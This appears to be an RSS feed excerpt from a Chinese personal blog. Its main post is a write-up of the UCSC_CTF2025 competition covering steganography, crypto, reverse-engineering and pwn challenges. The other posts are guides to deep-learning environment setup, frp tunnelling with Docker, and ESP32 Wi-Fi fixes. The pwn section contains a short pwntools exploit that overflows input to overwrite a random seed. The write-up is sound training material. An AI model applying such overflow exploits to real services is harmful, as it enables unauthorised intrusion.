</content:encoded></item><item><title>UCSC_CTF2025 高校网络安全联合选拔赛 WP</title><link>https://nvcc-v.com/2025/04/20/ucsc-ctf2025-writeup/</link><guid isPermaLink="true">https://nvcc-v.com/2025/04/20/ucsc-ctf2025-writeup/</guid><description>UCSC_CTF2025 高校网络安全联合选拔赛题解，涵盖 MISC、Web、Crypto、Reverse 和 Pwn 的分析与解题过程。</description><pubDate>Sun, 20 Apr 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;感谢大神队友带飞&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/04/image.png&quot; alt=&quot;UCSC_CTF2025 高校网络安全联合选拔赛 WP 操作截图&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;MISC&lt;/strong&gt;**：**&lt;/h2&gt;
&lt;p&gt;第一题：&lt;strong&gt;小套不是套&lt;/strong&gt;**-ucsc**&lt;/p&gt;
&lt;p&gt;先扫二维码拿到!@#QWE123987解压tess.zip 再用crc32爆破可得密钥： SecretIsY0u&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/04/image.jpeg&quot; alt=&quot;MISC - UCSC_CTF2025 高校网络安全联合选拔赛 WP 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开mushroom.jpg,用010打开查看png模块发现有png图片，补全头部&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/04/image-1.jpeg&quot; alt=&quot;MISC - UCSC_CTF2025 高校网络安全联合选拔赛 WP 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;最后用oursecret解密即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/04/image-2.jpeg&quot; alt=&quot;MISC - UCSC_CTF2025 高校网络安全联合选拔赛 WP 操作截图 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/04/image-3.jpeg&quot; alt=&quot;MISC - UCSC_CTF2025 高校网络安全联合选拔赛 WP 操作截图 4&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Misc&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;No.shArk-ucsc&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;提示Cat，猜测是猫脸变换&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/04/image.jpg&quot; alt=&quot;Misc - UCSC_CTF2025 高校网络安全联合选拔赛 WP 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import cv2
import numpy as np
import multiprocessing
import os

def arnold_decode(image, shuffle_times, a, b):
    h, w = image.shape[:2]
    N = h
    decode_image = np.zeros_like(image)
    for _ in range(shuffle_times):
        for ori_x in range(h):
            for ori_y in range(w):
                new_x = ((a * b + 1) * ori_x - b * ori_y) % N
                new_y = (-a * ori_x + ori_y) % N
                decode_image[new_x, new_y] = image[ori_x, ori_y]
        image = decode_image.copy()
    return image

def process_parameters(params):
    image, c, a, b = params
    print(f&quot;[+] Processing shuffle_times={c}, a={a}, b={b}&quot;)
    decoded_img = arnold_decode(image.copy(), c, a, b)
    output_filename = f&quot;flag_decoded_c{c}_a{a}_b{b}.png&quot;
    cv2.imwrite(output_filename, decoded_img, [int(cv2.IMWRITE_PNG_COMPRESSION), 0])

def arnold_brute(image, shuffle_times_range, a_range, b_range):
    tasks = []
    for c in range(shuffle_times_range[0], shuffle_times_range[1]):
        for a in range(a_range[0], a_range[1]):
            for b in range(b_range[0], b_range[1]):
                tasks.append((image, c, a, b))
    with multiprocessing.Pool(processes=os.cpu_count()) as pool:
        pool.map(process_parameters, tasks)

if __name__ == &quot;__main__&quot;:
    img = cv2.imread(&quot;next.jpg&quot;)
    arnold_brute(img, (1, 8), (1, 12), (1, 12))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;跑出后找到&lt;/p&gt;
&lt;p&gt;flag{46962f4d-8d29-&lt;/p&gt;
&lt;p&gt;使用工具跑出QRcode&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/04/image-2.jpg&quot; alt=&quot;Misc - UCSC_CTF2025 高校网络安全联合选拔赛 WP 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;扫描出Y0U_Fi8d_ItHa@aaHH，根据Snow猜测是雪花隐写的密钥&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/04/image-4.jpeg&quot; alt=&quot;Misc - UCSC_CTF2025 高校网络安全联合选拔赛 WP 操作截图 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;找到含“雪”的html文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/04/image-3.jpeg&quot; alt=&quot;Misc - UCSC_CTF2025 高校网络安全联合选拔赛 WP 操作截图 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;雪花隐写解出11ef-b3b6-a4b1c1c5a2d2}&lt;/p&gt;
&lt;h2&gt;Misc&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;USB-ucsc&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ctf-nat****直接出&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/04/image-4.jpg&quot; alt=&quot;Misc - UCSC_CTF2025 高校网络安全联合选拔赛 WP 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;three-ucsc&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Part1****是盲水印&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/04/image-5.jpeg&quot; alt=&quot;Misc - UCSC_CTF2025 高校网络安全联合选拔赛 WP 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/04/image-6.jpg&quot; alt=&quot;Misc - UCSC_CTF2025 高校网络安全联合选拔赛 WP 操作截图 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/04/image-7.jpg&quot; alt=&quot;Misc - UCSC_CTF2025 高校网络安全联合选拔赛 WP 操作截图 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Part2&lt;/p&gt;
&lt;p&gt;是解密就行了2进制，base64，摩斯即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/04/image-8.jpg&quot; alt=&quot;Misc - UCSC_CTF2025 高校网络安全联合选拔赛 WP 操作截图 5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Part3&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/04/image-9.jpg&quot; alt=&quot;Misc - UCSC_CTF2025 高校网络安全联合选拔赛 WP 操作截图 6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;看到流量找到密码一个一个试试&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这个就是密钥&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解出来就行了&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/04/image-10.jpeg&quot; alt=&quot;Misc - UCSC_CTF2025 高校网络安全联合选拔赛 WP 操作截图 7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;然后将三个部分拼起来即可&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Web&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;ezLaravel-ucsc&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;直接&lt;strong&gt;&lt;strong&gt;dirb&lt;/strong&gt;&lt;/strong&gt;扫描发现****flag.php&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;直接出答案了&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;下线的题&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Response****抓包flag字段即可base64解密&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Crpyto&lt;/strong&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;XR4&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;题目的a直接给出，所有与a有关的都不需要改动，需要解出的就是data&lt;/p&gt;
&lt;p&gt;使用的方法是异或，所以直接将随机数列表重塑为矩阵，然后进行与密文矩阵进行异或即可获得data(flag)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import base64
import random
from Crypto.Util.number import *
import numpy as np
def init_sbox(key):
    s_box = list(range(256))
    j = 0
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % len(key)])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    return s_box
def decrypt(cipher, box):
    res = []
    i = j = 0
    cipher_bytes = base64.b64decode(cipher)
    for s in cipher_bytes:
        i = (i + 1) % 256
        j = (j + box[i]) % 256
        box[i], box[j] = box[j], box[i]
        t = (box[i] + box[j]) % 256
        k = box[t]
        res.append(chr(s ^ k))
    return (&apos;&apos;.join(res))
def random_num(seed_num):
    random.seed(seed_num)

    # 假设这是转置后的矩阵
    transposed_matrix = np.array([[1, 11, 116, 33, 68, 32],
                                  [111, 45, 19, 98, 52, 32],
                                  [38, 58, 113, 38, 119, 7],
                                  [110, 39, 60, 57, 56, 26],
                                  [95, 84, 91, 10, 43, 41],
                                  [44, 1, 118, 29, 125, 41]])


    T = [int(str(random.random()*10000)[0:2]) for i in range(36)]
    # 将 T 转换为 numpy 数组
    T_np = np.array(T)

    # 重塑为 6x6 的二维数组
    T_reshaped = T_np.reshape(6, 6)

    result = transposed_matrix ^ T_reshaped

    for i in result:
        for j in i:
            print(chr(j),end=&quot;&quot;)

if __name__ == &apos;__main__&apos;:
    ciphertext = &quot;MjM184anvdA=&quot;
    key = &quot;XR4&quot;
    box = init_sbox(key)
    a=decrypt(ciphertext, box)
    print(a)
    random_num(int(a))
# transposed_matrix=(data.reshape(6*6))^T
# transposed_matrix=[[  1 111  38 110  95  44]
#  [ 11  45  58  39  84   1]
#  [116  19 113  60  91 118]
#  [ 33  98  38  57  10  29]
#  [ 68  52 119  56  43 125]
#  [ 32  32   7  26  41  41]]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Essential&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;题目flag一共两部分&lt;/p&gt;
&lt;p&gt;首先解flag1，题目中具体的p、q生成规则为:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;a=getPrime(512)
p=sympy.nextprime(13*a)
q=sympy.prevprime(25*a)
number2=p*q
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而对于同一个数，它的next和prev素数一般来说不超过1500&lt;/p&gt;
&lt;p&gt;所以直接对n整除(13*25)然后开根号然后一直遍历取下一个数直到能整除n，那么这个值即为a ，那么p、q也获得了&lt;/p&gt;
&lt;p&gt;然后再看e，显然是e和phi的不互素问题，直接套模板即可获得flag&lt;/p&gt;
&lt;p&gt;然后再看flag1&lt;/p&gt;
&lt;p&gt;题目中为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;while number2 &amp;gt; 0:
    if number2 % 2:
        number4 = (number4 * number1) % number3
    number1 = number1 ** 2 % number3
    number2 //= 2
return number4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对于number2，它在二进制的角度看就是如果当前位为1则乘上number1，而由于number4初始为1，且number1也仅仅和自己相乘，所以相乘又可以看作在指数上的相加&lt;/p&gt;
&lt;p&gt;所以其实这个加密就可以看成是      pow(number1,number2,number3)&lt;/p&gt;
&lt;p&gt;而我们解上一个flag时又已经获得了phi&lt;/p&gt;
&lt;p&gt;那么直接正常RSA解密即可&lt;/p&gt;
&lt;h2&gt;Pwn&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;BoFido&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;题目虽然没有栈溢出，但是却有数据溢出，也就是输入大小比变量大小大。并且看题目数据栈可以发现溢出能覆盖到seed的位置，所以直接把seed覆盖掉然后随机数就固定了，直接向服务器输出固定的随机数即可&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

r = remote()

payload = 0x20*b&apos;a&apos; + b&apos;1&apos;
r.sendline(payload)

r.sendline(b&apos;171 153 203&apos;)
r.sendline(b&apos;202 0 183&apos;)
r.sendline(b&apos;201 70 206&apos;)
r.sendline(b&apos;195 45 120&apos;)
r.sendline(b&apos;165 188 58&apos;)
r.sendline(b&apos;252 232 96&apos;)
r.sendline(b&apos;178 16 144&apos;)
r.sendline(b&apos;65 93 195&apos;)
r.sendline(b&apos;202 99 159&apos;)
r.sendline(b&apos;236 80 162&apos;)

r.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Reverse&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;EZ_debug&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;题目只做了一件事--进行异或，且输入的值直接与结果进行对比，所以直接动调拿然后Shift+F12就可以看到(或者你也可以自己解密)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/04/image-11.jpg&quot; alt=&quot;Reverse - UCSC_CTF2025 高校网络安全联合选拔赛 WP 操作截图&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;REVERSE&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;第一题：&lt;strong&gt;simplere-ucsc&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;64位，因为加了upx的壳子，并且标志位改了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/04/image-5.jpeg&quot; alt=&quot;REVERSE - UCSC_CTF2025 高校网络安全联合选拔赛 WP 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;所以在010改标志位为upx，进行upx脱壳。打开IDA：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/04/image-6.jpeg&quot; alt=&quot;REVERSE - UCSC_CTF2025 高校网络安全联合选拔赛 WP 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;先进行base58加密(换表了)，再进行异或，但是这里的异或是反向拿的，所以解密要逆序输出。&lt;/p&gt;
&lt;p&gt;&amp;lt;table class=&quot;has-fixed-layout&quot;&amp;gt;&amp;lt;tbody&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;enc = [0x72, 0x7A, 0x32, 0x48, 0x34, 0x4E, 0x3F, 0x3A, 0x42, 0x33, 0x47, 0x69, 0x75, 0x63, 0x7C, 0x7D, 0x77, 0x62, 0x65, 0x64, 0x7B, 0x6F, 0x62, 0x50, 0x73, 0x2B, 0x68, 0x6C, 0x67, 0x47, 0x69, 0x15, 0x42, 0x75, 0x65, 0x40, 0x76, 0x61, 0x56, 0x41, 0x11, 0x44, 0x7F, 0x19, 0x65, 0x4C, 0x40, 0x48, 0x65, 0x60, 0x01, 0x40, 0x50, 0x01, 0x61, 0x6F, 0x69, 0x57] enc1 = list() for i in range(0,len(enc), 1): result = enc[i] ^ (i + 1)  enc1.append(result) for i in range(len(enc)-1,-1, -1): print(chr(enc1[i]),end=&quot;&quot;)&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/04/image-7.jpeg&quot; alt=&quot;REVERSE - UCSC_CTF2025 高校网络安全联合选拔赛 WP 操作截图 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第二题： &lt;strong&gt;EZ_debug-ucsc&lt;/strong&gt; CTRL+E找到程序入口点：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/04/image-8.jpeg&quot; alt=&quot;REVERSE - UCSC_CTF2025 高校网络安全联合选拔赛 WP 操作截图 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/04/image-9.jpeg&quot; alt=&quot;REVERSE - UCSC_CTF2025 高校网络安全联合选拔赛 WP 操作截图 5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里可以很容易知道就是将v5数组的值进行的RC4加密，直接动调拿v5加密后的值即可。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/04/image-10.jpeg&quot; alt=&quot;REVERSE - UCSC_CTF2025 高校网络安全联合选拔赛 WP 操作截图 6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag{709e9bdd-0858-9750-8c37-9b135b31f16d}&lt;/p&gt;
</content:encoded></item><item><title>DeepLearning环境配置教程–OpenCV</title><link>https://nvcc-v.com/2025/03/14/deeplearning-opencv-setup/</link><guid isPermaLink="true">https://nvcc-v.com/2025/03/14/deeplearning-opencv-setup/</guid><description>在 Windows 上使用 Anaconda 配置 OpenCV 深度学习环境，涵盖 PyTorch、CUDA、C++ 编译工具和 Jupyter 安装。</description><pubDate>Fri, 14 Mar 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;由于深度学习相关的软件包、环境等组件占用较大，建议提前在D盘新建一个Env文件夹用于存放，以下内容都会尽可能将环境放在其它盘&lt;/p&gt;
&lt;h2&gt;环境清单&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/03/c425eee7d4d1c6878683055fc0bd2f1-1024x973.jpg&quot; alt=&quot;环境清单 - DeepLearning环境配置教程–OpenCV 操作截图&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;安装及使用AnaConda创建虚拟环境&lt;/h2&gt;
&lt;p&gt;AnaConda是一个Py虚拟环境的管理工具，由于Py软件包之间的版本会相互冲突，所以我们要养成良好的环境管理习惯&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.anaconda.com/download/success&quot;&gt;下载地址&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/03/image-2.png&quot; alt=&quot;安装及使用AnaConda创建虚拟环境 - DeepLearning环境配置教程–OpenCV 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/03/image-3.png&quot; alt=&quot;安装及使用AnaConda创建虚拟环境 - DeepLearning环境配置教程–OpenCV 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们需要在自定义的环境文件夹下新建一个Anaconda3的目录，然后修改安装路径&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/03/image-4.png&quot; alt=&quot;安装及使用AnaConda创建虚拟环境 - DeepLearning环境配置教程–OpenCV 操作截图 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;勾选所有直到安装完成即可，然后在cmd中输入conda --version，若有回显则说明安装成功，如没有请检查环境变量&lt;/p&gt;
&lt;p&gt;然后我们要进入C://用户/xxx(你的用户名称)，中找到.condarc文件，用记事本打开，并输入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;envs_dirs:
  - D:\Env\Anaconda3\envs
pkgs_dirs:
  - D:\Env\Anaconda3\pkgs
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以此实现软件包和环境创建在自定义目录&lt;/p&gt;
&lt;p&gt;接下来要通过cmd创建虚拟环境&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;conda create --name DeepLearning python=3.10
conda activate DeepLearning
pip install torch==2.5.0 torchvision==0.20.0 torchaudio==2.5.0 --index-url https://download.pytorch.org/whl/cu124
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来需要安装CUDA和C++生成工具&lt;/p&gt;
&lt;h2&gt;安装CUDA&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://alist.shattered.top/d/sky/shareSoftware/DeepLearning/cuda_12.4.0_551.61_windows.exe&quot;&gt;CUDA v12.4下载链接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/03/image.png&quot; alt=&quot;安装CUDA - DeepLearning环境配置教程–OpenCV 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/03/image-1.png&quot; alt=&quot;安装CUDA - DeepLearning环境配置教程–OpenCV 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;切记选择自定义后才可以修改安装位置&lt;/p&gt;
&lt;p&gt;安装完成后输入若有回显则表示安装成功&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nvcc -V
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;安装C++编译相关组件&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://alist.shattered.top/d/sky/shareSoftware/DeepLearning/vs_BuildTools.exe&quot;&gt;下载链接&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;选择C++并且勾选如图所示的两个组件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/03/image-6-1024x550.png&quot; alt=&quot;安装C++编译相关组件 - DeepLearning环境配置教程–OpenCV 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;按需修改安装目录然后安装&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/03/image-7-1024x550.png&quot; alt=&quot;安装C++编译相关组件 - DeepLearning环境配置教程–OpenCV 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;继续安装环境&lt;/h2&gt;
&lt;p&gt;重新进入cmd然后激活环境&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;conda activate DeepLearning
pip install mmcv-full==1.7.2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于需要从源码编译，故此过程非常非常非常久！耐心等待吧。。。&lt;/p&gt;
&lt;p&gt;（也可以直接用我编译好的&lt;a href=&quot;https://alist.shattered.top/d/sky/shareSoftware/DeepLearning/mmcv_full-1.7.2-cp310-cp310-win_amd64.whl&quot;&gt;下载链接&lt;/a&gt;，编译了一个多小时....失败了两次，所以一共花了三四个小时。。）&lt;/p&gt;
&lt;p&gt;安装完后继续安装jupyter即大功告成！&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip install jupyter
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>frp 0.61 docker(toml配置)新手指北-教程</title><link>https://nvcc-v.com/2025/02/11/frp-docker-toml-guide/</link><guid isPermaLink="true">https://nvcc-v.com/2025/02/11/frp-docker-toml-guide/</guid><description>使用 Docker Compose 部署 frps 与 frpc 0.61，以 TOML 配置 TCP、HTTP 转发、鉴权和服务端与客户端连接。</description><pubDate>Tue, 11 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;引&lt;/h2&gt;
&lt;p&gt;由于本人即将把服务器搬去无公网环境的学校，故研究了一下frp内网穿透，用于映射一些必要的服务出去，但发现网上大部分都是Windows环境下的ini配置，和toml配置相差极大，故在折腾了一段时间后写此篇文章用以记录&lt;/p&gt;
&lt;h2&gt;简介&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/fatedier/frp&quot;&gt;frp&lt;/a&gt;分为frps和frpc，前者是服务端，后者是客户端，frp可以转发多种流量，但本文章仅说明最常用的两种流量转发，即TCP和HTTP。&lt;/p&gt;
&lt;p&gt;TCP可以近似看做端口转发，直接将端口的流量进行透明数据转发，而HTTP则近似于nginx反向代理，所以服务端可以只用一个端口根据域名将不同的网站转发到不同的后端&lt;/p&gt;
&lt;h2&gt;Frps配置&lt;/h2&gt;
&lt;p&gt;docker-compose配置&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;version: &quot;3.3&quot;
services:
  frps:
    image: snowdreamtech/frps:0.61
    container_name: frps
    hostname: frps
    restart: always
    network_mode: host
    volumes:
      - /etc/localtime:/etc/localtime:ro
      - ./conf/frps.toml:/etc/frp/frps.toml:ro
      - ./logs:/frp/logs
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;frps.toml配置&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 监听地址
bindAddr = &quot;0.0.0.0&quot;
# 监听端口
bindPort = 7000
# 监听 KCP 协议端口
kcpBindPort = 7000
# 监听 HTTP 协议端口
vhostHTTPPort = 8080
# 监听 HTTPS 协议端口
vhostHTTPSPort = 4443

# 允许代理绑定的服务端端口
allowPorts = [
  { start = 2000, end = 3000 },
  { single = 3001 },
  { single = 3003 },
  { start = 4000, end = 50000 }
]

# 鉴权配置
## 鉴权方式
auth.method = &quot;token&quot;
## Token
auth.token = &quot;xxxxxxxxxx&quot; #自行修改

# 日志配置
log.to = &quot;/frp/logs/frps.log&quot;
log.level = &quot;debug&quot;
log.maxDays = 180
log.disablePrintColor = false

subdomainHost = &quot;abc.com&quot;  #自行修改

# 仪表盘配置
webServer.addr = &quot;0.0.0.0&quot;
webServer.port = 7500
webServer.user = &quot;admin&quot;
webServer.password = &quot;xxxxxxxxx&quot;  #自行修改

# 是否提供 Prometheus 监控接口
enablePrometheus = true

# 允许客户端设置的最大连接池大小
transport.maxPoolCount = 1000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以上配置中token、域名和password需要自行修改，域名填一级域名即可，后面HTTP反向代理会用到此域名的二级域名用于区分不同的网站&lt;/p&gt;
&lt;h2&gt;Frpc配置&lt;/h2&gt;
&lt;p&gt;docker-compose配置&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;version: &apos;3.3&apos;
services:
  frpc:
    image: snowdreamtech/frpc:0.61
    container_name: frpc
    restart: always
    network_mode: host
    volumes:
      - /etc/localtime:/etc/localtime:ro
      - ./conf:/etc/frp:ro
      - ./logs:/frp/logs
      - /root/.acme.sh/xxxxxx:/etc/ssl #证书路径自行配置
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;frpc.toml配置&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 连接配置
## 连接服务端的地址
serverAddr = &quot;x.x.x.x&quot; #服务端IP
## 连接服务端的端口
serverPort = 7000

# 鉴权配置
## 鉴权方式
auth.method = &quot;token&quot;
## Token
auth.token = &quot;xxxxxxxxx&quot;

# 日志日志
## 日志路径
log.to = &quot;/frp/logs/frpc.log&quot;
## 日志级别
log.level = &quot;info&quot;
## 日志文件最多保留天数
log.maxDays = 30
## 禁用标准输出中的日志颜色
log.disablePrintColor = false

includes = [&quot;/etc/frp/confd/*.toml&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;自行修改配置，与服务端对应，然后在/etc/frp中新建/confd文件夹，以后需要添加配置在此文件夹内新建xxx.toml即可，以下给出TCP和HTTP的toml示例&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[[proxies]]
### 连接名称
name = &quot;Home Assistant&quot;
### 连接类型
type = &quot;tcp&quot;
localIP = &quot;192.168.101.194&quot;
localPort = 8123
remotePort = 8122
### 是否启用加密功能，启用后该代理和服务端之间的通信内容都会被加密传输
transport.useEncryption = false
### 是否启用压缩功能，启用后该代理和服务端之间的通信内容都会被压缩传输
transport.useCompression = false
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;localIP表示本地局域网IP&lt;/li&gt;
&lt;li&gt;localPort表示本地端口&lt;/li&gt;
&lt;li&gt;remotePort表示远程端口，按以上示例即访问服务端IP:8122&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;## HTTP 连接
[[proxies]]
### 连接名称
name = &quot;EMBY&quot;
### 连接类型
type = &quot;https&quot;
### 子域名列表，用户访问服务端此域名的流量会被转发到对应的本地服务
subdomain = &quot;emby&quot;
### 是否启用加密功能，启用后该代理和服务端之间的通信内容都会被加密传输
#transport.useEncryption = false
### 是否启用压缩功能，启用后该代理和服务端之间的通信内容都会被压缩传输
#transport.useCompression = false

[proxies.plugin]
type = &quot;https2http&quot;
localAddr = &quot;192.168.101.236:8091&quot;

# HTTPS 证书相关的配置
crtPath = &quot;/etc/ssl/*.abc.com.cer&quot;
keyPath = &quot;/etc/ssl/*.abc.com.key&quot;
hostHeaderRewrite = &quot;127.0.0.1&quot;
requestHeaders.set.x-from-where = &quot;frp&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此类型为https，subdomain表示二级域名，如示例即emby.abc.com，localAddr即局域网中需要反代的ip:端口，下面证书按照自己映射的填写，建议申请通配符域名证书，最后浏览器输入emby.abc.com:4443即可成功访问（注意服务端中http和https的端口不同）&lt;/p&gt;
</content:encoded></item><item><title>ESP32连不上wifi的解决方案</title><link>https://nvcc-v.com/2025/02/07/esp32-wifi-issues/</link><guid isPermaLink="true">https://nvcc-v.com/2025/02/07/esp32-wifi-issues/</guid><description>排查 ESP32 无法连接 Wi-Fi 的常见原因，涉及 SSID、加密模式、Wi-Fi 5 兼容设置和 MicroPython 网络状态。</description><pubDate>Fri, 07 Feb 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;今天现在学习到单片机网络相关的知识，发现死活连不上wifi，折腾了一会总结了几个可供参考 排查的要点&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WiFi名称（SSID）改成英文或数字，不要带中文&lt;/li&gt;
&lt;li&gt;加密方式选择混合加密（WPA/WPA2）&lt;/li&gt;
&lt;li&gt;打开WiFI5兼容模式&lt;/li&gt;
&lt;/ul&gt;
